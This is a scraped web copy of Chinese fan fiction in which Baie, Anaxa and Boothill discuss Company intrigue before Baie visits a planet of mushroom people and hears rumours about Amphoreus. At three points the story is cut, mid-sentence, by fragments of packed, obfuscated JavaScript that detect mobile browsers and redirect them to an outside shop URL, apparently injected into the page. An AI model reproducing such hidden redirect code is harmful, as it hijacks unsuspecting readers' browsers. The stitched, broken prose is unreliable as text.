“当公司说你家有绝灭大君的时候,你最好真的有。”波提欧说,“公司是个什么地方?伪善、虚伪,我说得难道还不够明白?公司之所以没选择再次对翁法罗斯出手,而是一击即退,一方面是确实没摸清翁法罗斯的底细——占领无人星可比占领文明容易得多,另一方面就是顾忌那位大君【卡厄斯】,之所以敢选在这个时候出手,也是因为那位散发能量波动的不知道存不存在的大君这几年有点太安静了。” “我不是……这个意思。”白厄说。 波提欧看了他一眼。 “我是说,”白厄尝试着组织自己的语言,“如果……那位大君确实存在,但并不……归属翁法罗斯,他只是单独存在,随后对公司出手……情况……会不会好一点?” “没这回事。”那刻夏几乎一瞬间否认了他的想法,“还不明白吗?【卡厄斯】从在公司的野史中诞生开始,就已经被绑上了翁法罗斯的战船,假如他真的试图切割自己和翁法罗斯的关系,反而会落人口实,他的一举一动,无论有意还是无意,在外界看来,代表的都是翁法罗斯。” 波提欧的表情越来越古怪,最后,他盯着这对翁法罗斯的师徒,看上去活像发现了新大陆。 “我以为你是个投降主义,合着你是想让【卡厄斯】和公司爆了啊?”波提欧啧啧称奇,“真看不出来,你还挺野。” “还没到这个程度。”白厄说。 “用不着你动脑子,”那刻夏说,“翁法罗斯又不是没人了。” “我觉得您在……鄙夷我的智商。” “能听出来,还不算太蠢。”那刻夏欣慰地说。 白厄:“……” “行了,我呢,去收一下战利品,你们呢,爱聊什么聊什么,反正今天全场我买单,也不差这点。”波提欧乐了一声,大手一挥,大摇大摆地走了出去,临走前他一伸手。 “白厄兄弟,我的枪。” 这下确实没什么理由扣押人家的东西了,白厄想,他随手把枪递了过去,波提欧掂了掂,甩了个漂亮的枪花,末了,突然又问。 “你要不要试试用枪?” 提起枪,他的眼睛又亮起来,“等我一会儿,我给你讲讲,嘿,这九毫米就是经典。” 白厄想了想自己的侵晨,果断地摇了摇头,波提欧也没多说,他一转身出了门,白厄才问身旁的那刻夏。 “您……相信他吗?” “他比公司可信,”那刻夏淡淡地说,“至少以目前的情况来看,他确实把他知道的都告诉我们了——当然,也可以说,他将幕后的人想说的话都告诉我们了。” “什么意思?” “意思就是这件事公司不知情,但他们随时可以知情。”那刻夏说,“只取决于翁法罗斯做出什么样的应对,如果是公司的意志,手段不会如此粗糙,我和他也不应该出现在这里,所以目前最合理的解释只有一个,那就是这件事只是公司某个派系的手笔,若是真的成功,他们自然能大赚一笔,若是失败,也只要推某个人出来顶账就好。” “但公司并不是一个人,其意志也并非统一的意志,当利润大于风险,公司就会知情,而当利润小于风险,公司仍然是那个干净的公司,”那刻夏说,“所以用不着你多想——翁法罗斯倘或连这种试探都无法应对,也不需要谈什么自立于群星了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119686|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一切都已经过去了,”那刻夏又说,“名为【救世主】的存在毋需继续背负整个翁法罗斯前行,相比之下,你倒是更该关注你的身体状况。” “我吗?”白厄有点摸不着头脑。 “当然是你。”那刻夏说,他看着白厄有点茫然的表情,实在没忍住,还是叹了口气。 “你有没有想过,公司凭什么认为他们能剿灭一位绝灭大君?” “说明……他们认为自己……只是唤醒了……绝灭大君?” “很好,”那刻夏说,“既然是唤醒,又有一个选项是剿灭,他们必然不会在令他苏醒之外给予太多的能量……所以你有没有觉得哪里不舒服?” 白厄摇摇头,他对这方面几乎一窍不通,醒来之后除了愧疚与担忧,他并没有太多时间思考自己的事,现在那刻夏一提醒,他才认认真真地感觉了一下,但他又觉得自己似乎没什么不舒服的地方,于是对着老师笑了笑。 “我没事。” “有事没事不看你怎么说。”那刻夏说,“你们还要在阿特拉斯待几天?” “按原定行程……大概还有一周左右。”白厄说,“但不知道……行程会不会……改变。” “不会。”那刻夏摇摇头,“对于那位舰长来说,临时改变行程反而更容易打草惊蛇——他应该至少会走完翁法罗斯前的所有行程,而同样的,我的行程也不会改变。” “会不会有危险?” “我有自保之力,而且当做什么都没发生过反而最安全,”那刻夏说,“比起这个,还是先关心你自己吧。” “一会去做个身体检查,检查结果出来后把报告回传给我。”那刻夏提笔刷刷写下几行字递给了白厄,“重点项目。” 波提欧就在这个时候走了进来。 “奇了怪了,”他说,“是个空盒子。学者,你有什么头绪吗?” “为什么不去问那位舰长?”那刻夏说。 “因为问他没用,问你们才有用,”波提欧说,他摸着下巴笑了笑,“学者,你说那东西除了被偷了之外,会不会还有其他选项?” “比如说,已经被用了?” 26. 蘑菇蘑菇 “很重要?”那刻夏问道,他似乎不以为意,连语气都没什么波动。 “可以重要,也可以不重要。”波提欧说,“毕竟咱们现在也算是一根绳上的虫子,敌人的敌人就是朋友这点我还是明白的……但那毕竟是个绝灭大君。” “不过虽说是个绝灭大君,但公司的鬼话比绝灭大君还不可信。”波提欧想了一想,很快得出了结论。 “至少目前为止他又没干什么坏事儿,”波提欧说,“就算是我们中最激进的家伙,也不会仅凭一个不知真假的名头给完全未知的家伙定罪的,可惜啊,老子这趟,算白来了。” 他伸了个懒腰,利落而果断地选择了放弃。 “不过这一趟倒也不算毫无收获,学者,还有白厄兄弟,考虑一下公司这些破事儿,再考虑一下要不要对公司动手,反正我该说的都说了……加个联系方式吧,之后要是真的联系你们,总不能再抢一次人家的货仓。”波提欧摆了摆手,下一刻,他顺着窗户跳了出去,风将他的话扯成长久的吐息,“那个盒子你们处理一下吧,反正是个空的,有缘再见。” “他就这么走了?”白厄有点愣神,要不是现场一地狼藉,他简直怀疑这段时间发生的奇幻故事是在做梦,但地上的空盒子明明白白地告诉他,刚刚确实有个奇怪的、满口宝贝的巡海游侠闯了进来,什么都没偷走——当然,并非出自他的主观意愿——就又匆匆地离开了,飘忽不定,捉摸不透,听上去还真有点搭档说过的游侠气质,他捡起那个盒子,意外地觉得其上残留的东西有点……鲜美。 形容词没错,确实是鲜美,白厄只觉得自己似乎正面对着一份大餐,他不由自主地看了过去,只觉得那个盒子对他实在很有吸引力——即使它看上去空空如也。 “白厄。”那刻夏喊了他一声,老师的声音仿佛在遥远的某处响起,白厄这才回过神来,只觉得自己的行动实在匪夷所思,于是他不好意思地摸了摸头,却仍然忍不住看向那个已经空空如也的盒子。 “……你饿了。”那刻夏肯定地说。 “是。”白厄说,他的肚子的确咕咕直叫,毕竟从昨天到今天他也没吃多少东西。 “不是这个意思,”那刻夏说,“更准确的说法应该是饥渴,你今天还有什么工作要做吗?没有工作的话赶紧去做体检,我今天晚上就会离开这里,那时候如果你的体检报告没出来,记得传给我电子版。” 看上去“我觉得自己实在没事”这种说法那刻夏老师已经免疫了,白厄重新合上了那个盒子,他一时间有点拿不准究竟要拿这个盒子怎么办,但他低着头思考了一下,最后得出了结论——将它递给舰长先生就好,毕竟以现在的情况来看,似乎任何不符合常理的行为都会打草惊蛇,按格莱刚刚表现的态度来看,他恐怕更想装作什么都未曾发生,这样就好办了,他拿着盒子走出门,最后,还是忍不住回头,看向了那刻夏。 “翁法罗斯……会怎么办?” “放心,”那刻夏说,“不必担心翁法罗斯,做你想做的事情就好……就算是最极端的状况,在这趟行程结束之前,你还有一段时间。” 似乎现在不回翁法罗斯从各种意义上来说都是个好的选项,毕竟白厄实在不太敢确定在他回到翁法罗斯的下一刻,公司究竟会不会借此发难,他还是决定走一步看一步,毕竟公司既然能想出这种主意,也许从侧面证明他们确实没有在短时间内拿下翁法罗斯的自信——当然,还有一种可能,现在毕竟是个和平的年代,而星际和平公司表面上或多或少还要打上冠冕堂皇的招牌,他没说什么,拿着盒子离开了房间,并在门外遇到了格莱。 他们对视一眼,彼此之间都心照不宣,格莱默不作声地收下了盒子,过了一会儿,他吆喝了一声。 “看来我们的巡海游侠先生今天又炸翻了我们的船,”面对着刚钻出房间的谢尔微和阿卡索尔,格莱表情揶揄,“也许我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119687|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该开始一些舰船重建工作。” “他又来了?”谢尔微无奈地说,“为什么总是他啊?” “你们认识?”白厄问道。 “哎,星际航道知名牛仔,长得挺酷,专门抢公司的货,”谢尔微说,“我们遇上他两次了,此次损失惨重,好在我们的船买了保险,所以货物赔付一般都是公司出钱……好了,这次又是哪里坏了?” “从摄像头开始修吧,”格莱说,他镇定得简直像什么都没发生过,“看上去修好这些东西大约需要我们三四天的时间,大约在修好之后,我们就得启程去下颗行星了。” “好吧,”谢尔微叹了口气,她似乎有点见怪不怪,“劳驾,白厄阁下,能不能麻烦你把那个摄像头拆下来?”她说,“我实在够不到它,阿卡索尔似乎也不行。” “哦,好,”白厄慌忙答应,他支了起个小小的梯子,却在看到摄像头的一瞬间犯了难。 这东西……怎么拆来着? 神悟树庭的课可没教过他如何拆卸货运舰摄像头! 打坏一时爽,维修火葬场,神悟树庭的白厄在谢尔微和格莱“这边,那边,那边,线错了。”的声声指挥下,终于第一次拆下了货运舰摄像头,他盯着这个高科技的东西,只觉得这东西碎得实在有点彻底。 “保险能赔付多少?”阿卡索尔问。 “谁知道呢?”格莱笑得有点狰狞,“记得写报告的时候往上限报,咱们买保险的钱可不是大风刮来的。” 白厄严重怀疑其中有点私仇的因素,但以他的身份又实在不好说什么,只好默不作声地收拾着波提欧留下的一地狼藉,听着格莱边收拾边介绍着下个星球。 “咱们要去的下个地方气候有点特殊,”格莱边扫地边说,“方跃星,那里一直在下雨,整颗星球潮湿又柔软,那里的生命形态也与阿特拉斯有些不同。” “简而言之,那里的原住民,是一群蘑菇。” 27. 社恐也要干活 “我在阿特拉斯的庆典上喝下了爆炸果的果汁——那东西似乎是某种酒类,但我当时并不知情。而在我喝完爆炸果果汁的当天晚上,那刻夏老师来到了货运舰里。其实这不是什么好事,毕竟我不知道我到底说了什么乱七八糟的话,当我清醒过来问那刻夏老师的时候,他也没有告诉我。 和他在同一时间到达的,还有位名叫波提欧的巡海游侠,虽说他好像是来抢东西的,可他什么都没带走,只给我们留下了一地乱七八糟的残骸,收拾这些东西几乎用了我们四天时间,不过也不是全无好处,至少我学会了一些电子设备的维修知识,不知道能不能用得上。 那刻夏老师很快就又离开了,毕竟如他所说,他在这里只是为了周转去勾陈星系参加学术会议,我其实有点担心他,但他坚称自己有自保手段。不过他也说要是有什么特殊状况会给我发信息,毕竟勾陈星系不算太远。 谢尔微说还是不要拍舰船一片狼藉的场面了,容易让格莱船长触景生情,但阿卡索尔说保险报销总需要有现场证明,所以他留了几张照片。 我们马上就要起身去方跃星,大家似乎都更喜欢叫它蘑菇星一点,离开阿特拉斯之前,我又买了些小纪念品,不知道接下来的旅程会遇到什么样的人,或者蘑菇。” 白厄放下了笔,整理了一下自己的书桌,新开的药被他塞进了自己的抽屉。货运舰被抢事件目前似乎没对他造成任何影响——至少表面上看上去是这样,不谈毫不知情的谢尔微和阿卡索尔,格莱对这个话题同样避之不谈,他仍然一副笑眯眯的样子,仿佛什么都未曾发生过。这态度倒是让白厄松了口气,这几天他一直在吃药,也找了个时间将体检报告传给了那刻夏老师,但那刻夏老师接收之后便一言不发,白厄只能归结于学术会议期间老师可能确实没什么时间,关于这件事他并不着急,只是望向舷窗之外。 跃迁就要开始了。 伴随着熟悉的轻微失重感,货运舰在星轨之上静默地航行,白厄想起开拓者曾经说过,开拓的旅途上总是充满挑战和刺激,但这些经开拓而出的星轨大多数时候安全又便捷,透过舷窗,他隐约能看到几艘穿行的货运舰的影子,星际航道上的贸易往来也算频繁,他拍了两张货运舰的照片便被谢尔微叫了出去,几个人凑在一块,等待格莱宣读下颗行星的注意事项––据他们说,这是例行流程。 “孩子们,我知道照本宣科总是令人烦躁,”格莱说,“但面对和我们表现形式不同的生命形态,提前了解相关情况有助于我们度过接下来在方跃星上的五天,这里主要是一些禁忌事项,第一条,不要当着他们的面提起吃蘑菇,触犯这个禁忌的人一般会被方跃星强制要求出境,我可不希望咱们运货运到一半,有人来通知我,‘你的船员被驱逐了’,会很麻烦,懂吗?” 坐在一旁的三个人边点头边记笔记。 “第二条,不要侮辱他们的信仰,方跃星信仰‘大地之母’——在其他地方,这位神明被称作“丰饶”,方跃星表面上看起来是丰饶信仰非常浓烈的星球,总之,无论你们的信仰是什么样的,至少在这次运输期间,不要当着他们的面侮辱丰饶星神。” “他们是丰饶民?”白厄问道,他想起开拓者曾经说过的仙舟和丰饶民的历史,起了一点好奇心。 “不是。”格莱说,“信仰丰饶和丰饶民之间亦有差距,目前方跃星只表现为丰饶信仰,没有证据证明他们接受了丰饶赐福。” “还有第三点,也是最重要的一点,不要突然间使劲地拍他们的头,你的行为很可能造出一群小蘑菇,这种行为会被认作莫大的侮辱,严重时可能会被监禁。” 白厄想了想一拍蘑菇脑袋,一群小蘑菇应声落地,叽里咕噜地满地乱跑,就忍不住有点想笑,他看了一眼旁边,身边的谢尔微和阿卡索尔同样是一副想笑又不敢笑的表情,格莱似乎已经习以为常,说完这些,他点了点头。 “还有什么问题吗?” “我还有问题。”白厄说,“他们的日常……生活中,不会磕到头吗?” 磕到头就会生小蘑菇的话,世界未免太危险了。 格莱:“……” “不会,”格莱说,大约之前不止一个人问过他这种问题,短暂地默了一默后,他还是回答了白厄,“他们大多数的用具都有相关的防护措施,而且一会我会配发雨衣、手套和鞋子,雨衣和鞋子是因为这颗星球的奇怪气候,而带上手套能隔绝大多数生命形态不同带来的问题,毕竟有的蘑菇有毒,带上手套能防止大多数奇奇怪怪的事件发生,总之,虽然生命形态不同,我仍然希望我们之间彼此保持尊重,好了,大概就这些,抵 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白厄:“……” 饶了他吧,他甚至有点庆幸,幸好他不用干文书工作。 货运舰行驶得很快,当他平稳降落时,格莱给他发了个定位。 “这是对接人的地点和联系方式,相关货物谢尔微已经盘点完了,白厄跟着货运机器人一起去就行,记得去之前先联系对接人。” 白厄便坐上了小货运机器人的驾驶舱,虽说他确实担心过自己的驾驶证的问题,但货运机器人比他想的高级了不少,在星球本身上倒是用不着跃迁,小机器人平稳地行驶在泥泞的路上,白厄感觉空气里都泛着潮湿的青苔的味道,他想了想,打通了对接人的电话。 “您好。”他说。 对面听上去相当惊慌。 “您您您您好,我我我是对接蘑……” 这是什么蘑菇的说话方式?白厄想,但他又想,有联觉信标,应该不应该啊,联觉信标除了屏蔽之外还有这个功能?他倒也没多问,于是接着说。 “您好,星际和平公司……货运。” “对对对我我我我知道,您到了吗?” “很快就到,”白厄说,“怎么称呼您呢?” “我是萘叙。”对面小声地说。 28. 蘑菇蘑菇 左边?左边是棵树。 右边?右边也是棵树。 前面?前面还是棵树。 高大的树木遮天蔽日,雨滴滴答答地顺着树的叶子落下,白厄踩在柔软又泥泞的土地上,左顾右盼,硬是没看见一株蘑菇,他一瞬间简直有点怀疑自己,又把定位看了两遍。 没错啊? 货运机器人同样显示物品已经送到,名为萘叙的蘑菇刚刚说会对接相关货物,但他在这里既没看到萘叙,也没看到仓库,他有点疑惑,不得不再次打通了对接蘑的电话。 “您好,我已经到了,请问……”他试探着问道。 地上某个地方动了动,一撮奇形怪状的蘑菇便冒了出来,露出了一双黑溜溜的眼睛——白厄注意到她的眼睛没有长在菌帽上,而是长在菌柄处,同时,窸窸窣窣地,几根像是根须一样的东西也从土里长了出来。 “您好,”那撮蘑菇彬彬有礼地小声说道,“白厄先生……星际和平公司的货物对吗?” “是的,”白厄说,“请签收。” 萘叙的根须就在货品签收单上划了划,划完之后,她又缩了回去,地上又只剩下了一个小小的土包。 白厄:“……” “您的货……” 他无助地、徒劳地挽留,试图阻止对接蘑缩得飞快的触须,过了一会儿,地面上又冒出几个土包,几株蘑菇冒了出来,叽叽喳喳,交头接耳。 “我们要把他们搬走吗?”蘑菇说。 “是的,这是这次定的货。” “那现在动手吧。” “大约也就半天,会很快。” “请问……”白厄实在忍不住,打断了蘑菇们的窃窃私语,“需要帮忙吗?” 一瞬间,他看到蘑菇们陡然亮起来的眼神。 “可以吗?”一株蘑菇说。 “我们可以多付费。”另一株蘑菇说。 “虽然我们也能搬。”第三株蘑菇说。 “但是根须拖拽起来还是有点慢。”第四株蘑菇说。 “如果你能帮忙的话真是再好不过了。” 蘑菇们叽叽喳喳一人一句,白厄倒是觉得有点好笑,毕竟他初来乍到,也想和蘑菇们打听一下这里的风土人……啊,蘑情,搬点东西自然不在话下,他便搬下了货物,放到了蘑菇们提前准备好的运输工具上。 “请问……”他说,“这里之前……没和星际和平公司……有过贸易往来?” 不然蘑菇们生疏的行为实在令人有点奇怪,如果贸易是长久以来的惯例,他们不应该对搬货物这件事如此生疏。蘑菇们倒没觉得这是什么秘密,他们一边拿根须帮助白厄一起拖拽着运输工具,一边继续叽里咕噜地叽叽喳喳。 “啊,是呀,星际和平什么的,我们之前都不知道哩。” “我们之前就是一群蘑菇哩,直到有奇奇怪怪的人登上了我们的星球哩。” “长得也不好看,连菌盖都没有。” “没说你,你好看得像有菌盖一样。” “拍你的脑袋的话可以生几个小孩子留在这里吗?”有蘑菇突然发问。 “……恐怕不行。”白厄说。 “之后呢?”他尝试着转移话题。 “之后他们喊着开拓什么的就冲上来了嘞。”蘑菇说,“我们的典籍上说,我们那时候可是好吃好喝地拿腐树和雨水招待了他们,结果他们相当不领情,一口都没有吃。” “听上去……不太像……我们吃的东西。”白厄诚恳地说。 “是啊,我们现在知道了,不过那是好长时间之前的事情了,但那些人没那么坏,”蘑菇倒不太介意,“其实我们能自给自足,毕竟和你们不太一样,我们要生活下去可容易很多,之后几个琥珀纪过去,有一帮奇怪的人冲了过来,说什么互帮互助友好和平,就要把我们的星球挖了。 “后来呢?” “后来,”蘑菇笑嘻嘻地说,“那些人被我们送出去了。” “送出去?”白厄有点好奇,“是通过……?” 孢子?致幻?还是迷药? “哦,我们黑了他们的设备。”刚刚的蘑菇平淡地说。 白厄:“……” 黑设备和刚刚说的腐树雨水招待人的画风可真够不一样的。 “别这个表情,白厄先生,”蘑菇说,“实际上你们外面的人有个习惯——啊,当然不是说你不好,只不过似乎大多数人因为生命形态的隔阂,总会下意识地忽略我们也是智慧生 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“有机体没关系,”蘑菇们说,“这里到处都是孢子……放心,对有机体无害,只会让有机体在其中迷失方向,是一点轻微的隐蔽措施,一会儿我们会带你出去,孢子的作用范围只局限于这片空间。” “也算一种君子协定,”有个蘑菇轻轻拍了拍自己的菌盖,似乎想到了什么,又慌慌张张地解释,“曾经也有动歪心思的人来到过这里,但是他们的结局不太好,不过别担心,我们一向对朋友很友善……那个,我们给你付一下劳务费吧。” “举手之劳。”白厄说,“不用放在心上。” 他其实能理解他们,他又想起一些久远的记忆,那时开拓者和丹恒初到奥赫玛,他似乎也曾经这么小心谨慎地对待过他们,对外来者小心谨慎实乃任何星球的人之常情,他正这么想着,一株蘑菇已经将什么东西塞进了他的手心。 “给你,”他说,“这几个地方都能去玩,过两天这里……”他展开了纸上歪歪扭扭的勾画,“这里会有文化节,到时候会有签售会。” 蘑菇签售会?白厄想,他又看了看他们细细的、密密麻麻的根须。 好像签字的话,确实会比只有两只手的人类快不少,他想。 29. 野史学家上线 对于所谓的“运输协议”,白厄其实有些好奇。 他看着那些货物被运送到某个位置,然后简直像是凭空消失一样不见了,身边的蘑菇们反倒习以为常,这里的科技水平确实比之前预想的要高了不少,他拿着那张蘑菇们画得歪歪扭扭的地图,礼貌地拒绝了他们“再给你补一点劳务费吧”的吵吵嚷嚷,坐着货运机器人,又离开了这片树林。 方跃星几乎一直在下雨,雨滴湿漉漉地打在那辆驾驶舱小小的货运车上,全自动驾驶的水平比白厄本人的驾驶水平应该好上不少——实际上在此之前他只骑乘过大地兽,地上仍然是一片又一片柔软的泥泞,也许因为星球大多数原住民都是蘑菇的缘故,道路并未被好好修整,某种仿佛苔藓般的植物占领了一处又一处领地,白厄倒有点好奇,难道蘑菇们的聚居地就像原始雨林?亦或是仓库修在远离人烟的地方? 他拿出蘑菇们画的歪歪扭扭的地图,在心里默默地感谢了一下联觉信标,蘑菇们的笔触确实有点难以辨识,但他还能勉强看清方向,回到货运舰时已经是这颗星球的傍晚,白厄倒是不打算再出门,签售会似乎也在明天,他又展开了地图,打算研究一下明天的行程,谢尔微似乎已经出去了,文档室的房间灯还是亮着的,想了想阿卡索尔这位几乎没见过面的同僚,白厄犹豫了一下,还是敲响了门。 “你好,”他彬彬有礼地问,“请问有什么……需要我帮忙吗?” 门慢慢地打开,不出意外,里面露出了阿卡索尔熬得通红的眼睛。 “如果可以的话。”阿卡索尔说,“其实本来我一个人应该可以弄完……但前两天的货舱遇袭事件给我增加了不少工作量……这会不会耽误你的工作?” “不会。”白厄说,“我今天的工作……已经结束了,而且我签的本来就是列车护卫……的合同,顺便帮点……也没什么。” “你说话好像比前几天好了不少,”阿卡索尔点评,白厄走进他的工作间,意外地发现角落里的几堆文件箱子堆得比他人还高,他不由得心生敬畏,看着那些密密麻麻高耸入云一望无际的文件盒子。 “这些是?” “货运舰文书,”阿卡索尔看上去司空见惯,“虽然也有电子版记录,但是为了保证文件内容的严谨性,通常我们要求一并留存盖上时空戳的纸质文档,避免一些命途力量的影响,同样,当我们的电子版记录和时空戳文档产生出入时,我们就会知道,应该又有大人物对我们的系统动手了。” “……这事情很常见?”白厄默了一默,问道。 “挺常见的,”阿卡索尔说,“我们只是个小货运舰,对我们有兴趣的不太多,要是那种更大一点的货运舰,或者星穹列车那种全宇宙独一无二的开拓列车,想动歪心思的人可就要多不少,什么星核猎手假面愚者fen化工……真不知道他们的安保措施到底是怎么做的。” “我需要做什么?” “如果你有时间的话,帮我把这些文件入库就行,”阿卡索尔说,“上面已经盖好了时空戳,而且不涉密,如果有兴趣,你也可以随便看看……当然,如果累了的话就去休息就好,感谢你的热心,但实际这并不是你的工作。” “没事,”白厄说,“不会太累。” “好的,谢谢你。”阿卡索尔说,他似乎没什么多余的力气客套,“你随意,我接着补文书了。” 阿卡索尔重新埋头录入,白厄开始对着时空戳一本一本地比对整理文件,货运舰上的文件基本都是些货运记录,少部分是一些遭遇袭击的记录,还有一部分是公司下发的文件,大多数文件内容都是一些平平无奇的通知,还有一小部分是警告文件。 “公司文件……会以纸质形式下发?”白厄好奇,“宇宙那么多……货运舰,通过什么样的手段……才能第一时间下发到……所有人手上?” “这个啊,”阿卡索尔头也不抬,“我们会配发文书通讯机,还挺方便的,就在你旁边。” 白厄看了一眼身边几个叫不上名字的仪器,再次默默地感叹了一下宇宙科技之发达,很长时间,文书室都没什么声音,直到白厄整理到一份新的文件。 “翁法罗斯评估报告?”他疑惑地自言自语。 “啊,那个啊,”阿卡索尔头也不抬地解释,“公司会对每个接入信用点系统的星球进行初步评估并下发评估报告,包括星球公开部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119690|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分地图、风土人情、禁忌之类的,之后公司会给货运舰发放,一些公司内部的通俗读物,不算涉密——你要是有兴趣可以拿回去看看,记得看完放回原位就好。” “谢谢。”白厄倒也没客气,他随手将书放在一旁,打算一会儿回房间看看,阿卡索尔捏了捏脖子,他似乎刚赶完一篇报告打算歇歇,房间里唯一的同事便成了聊天的不二人选。 “对翁法罗斯感兴趣?” “嗯。”白厄说。 多说多错,问什么答什么是种美好的品德,虽说他对货运舰的大家的人品保持着基本的信任,但他也不知道会不会在哪句话里暴露什么,阿卡索尔倒是不太意外。“挺正常的,”他说,“这几年对翁法罗斯感兴趣的人还挺多,一颗新生的星体,一群莫名出现的人,看上去不应该属于他们的时代的高科技,正常来说生产力和生产关系总该匹配,但翁法罗斯有点特殊——还有人说翁法罗斯科技发展靠考古,翁法罗斯出现这几年,传言比这片星系的星星还多。” “都是些什么样的传言?”白厄有点好奇。 “这要是说起来可就多了,”阿卡索尔掰着手指算,“要是人际关系类的话,什么小矮人和她忠诚的卫士们、浪漫金丝与贤者之石那些不得不说的美丽故事,冥界马拉松运动员和他配色奇怪的兄弟,”说到这,阿卡索尔笑了一声,“他那个配色奇怪的兄弟和你同名,可惜这些故事都徒有传言没有照片佐证……毕竟粉配绿也挺辣眼睛,我也想看看。” 这都什么乱七八糟的! 见到白厄难得呆滞的表情,阿卡索尔笑了一声。 “很正常,虽然大多数听上去都不怎么靠谱,但是据我考据,我感觉金丝和贤者之石应该真的有点超出友情之外的感情。” “……你怎么考据的?”白厄默然无语,忍了又忍,半晌才问。 “翁法罗斯亲历者所述,”阿卡索尔变魔术般拿出了另一本书,“但是这个不能给你,这个是我自己的收藏,不过最近方跃星有作者的签售会,你可以去看看。” 白厄看了一眼书的作者,蜗居公主。 好,挺好,他想,要是不是重名,这位甚至还是个熟人。 30. 你的野史在我之上 白厄确实没想到,有朝一日自己竟然也会想要说“这一定是野史”,他堪堪咽下了自己试图纠正的心思,在心里默默地给那刻夏老师和阿格莱雅道了个歉,在他看来倘若这两个人真的有点超出友情之外的感情——他们之间到底有没有友情这件事姑且按下不表——那肯定也不会是什么美丽故事,他想了又想,还是试图把话题扭转过来——至少别在蜗居公主的小故事上打转了。 “有正史吗?”白厄问,“我是说,官方一点的结论……” “正史也有。”阿卡索尔说,他小心翼翼地把蜗居公主的书收了回去,又想了半天,“让我想想从哪开始讲……唔,了解一颗星球的话,最快的方式一般应该是从他们的体制入手,翁法罗斯并不是很大的行星,他们目前完全对外开放的地区似乎只有名为奥赫玛的主城邦,但有极特殊情况,向翁法罗斯方面申请批准令的话,也可以短时间内在其他城邦驻留,只是申请批准令的程序有点繁琐……去年我放年假的时候去过一次翁法罗斯,感觉……还挺新奇的。” “新奇?” “对,”阿卡索尔说,“虽然用这种形容词好像不太好,但一方面,翁法罗斯的科技水平比我想得要高不少,不过毕竟有仙舟这种依靠自身审美装饰自家高科技产品的地方珠玉在前,给自己家高科技产品套上层古朴的外壳这种行为屡见不鲜。毕竟歼星舰就是歼星舰,并不会因为这东西的名字是尼卡多利之矛而改变其性质,轨道炮也就是轨道炮,虽然他们管它叫塔兰顿的公正——提到这个,就又不得不说一点其他的东西。” 听上去翁法罗斯的一切似乎和升格之前没什么太大变化,除了科技水平似乎确实有了不小的提升,也许阿格莱雅的金丝终于不再需要护卫整个奥赫玛,傲慢的神礼观众也终不能高高在上地俯瞰众生,黑潮似乎也已经是过去式,尽管无颜再回到翁法罗斯,可他总对新生的翁法罗斯充满了兴趣,于是他坐了下来,安静地等待着阿卡索尔接下来的话。 “同时,比之他们的科技水平,他们的思维反而更……古朴一些。翁法罗斯本地似乎存在着名为泰坦的信仰,但其实据我观察,他们不是那种虔信徒。”阿卡索尔说,“虔信徒们通常会为自己的信仰付出一切、奉献一切、牺牲一切,但翁法罗斯人不太一样,对于他们来说,泰坦更像是某种挂在嘴边的口头禅,人们一边相信着泰坦的存在,一边又不认为所有的问题都能由泰坦解决——说句可能有点冒犯的话,我所见到的大多数人似乎将泰坦当做同行者,而非高高在上的神明,不知道是不是因为我在翁法罗斯旅游的几天里认识的人实在太少。” 白厄突然觉得有点头痛,同行者,泰坦,他再熟悉不过的泰坦,他突兀间又想起他曾将剑刃捅入柔软的肌肤,半神的血与泰坦的血如雨滴落,捅入心脏的触感与捅入腰椎不同,脖颈处的划伤又会带来飞溅的金黄,他曾带来灾难,带来恐惧,他所到之处火光阵阵,他沾染着无辜者的鲜血,即使不清楚黄金裔们现在的态度,但杀戮就是杀戮,罪孽也仍然是罪孽,这一切都不应该因为所谓“拯救世界”的看似崇高的愿望而被简单消解,他固然可以为了达成目的不择手段,可当目的达成,罪人也应当得到审判,这样想着,他的情绪便突然低落下来——尽管他并不想这样,这几天他的精神状态稍微好了一点,但噩梦仍然追逐着他,他想起梦中同伴不屑的冷嗤。 “只会逃避吗?救世小子?”梦中看不清面容的人声声指责,那扣响死的门扉的少女紧盯着他轻声言语。 “在你眼中,死亡究竟何其缥缈?白厄阁下?” “你的脸色好像不太好,”阿卡索尔突然出声,打断了他乱七八糟的想法,“泰坦冒犯了你的信仰?还是工作累了?要不要回去休息一下?” “没事。”他勉强地笑了笑,“可能是昨晚有点没睡好。” “失眠啊,”阿卡索尔倒是不奇怪,“很正常,我赶文书的时候也总是失眠,回去歇歇吧,这里我能搞定。” “没事,”白厄说,“我还想听点翁法罗斯其他的事。” “这算什么听完故事就去睡觉吗?”阿卡索尔笑了一声,倒没拒绝白厄的要求,他重又将头埋回文件堆里,“那换个话题,不提泰坦,提点别的,比如他们的领袖,‘暴君’凯撒。” “你见过她?”白厄好奇。 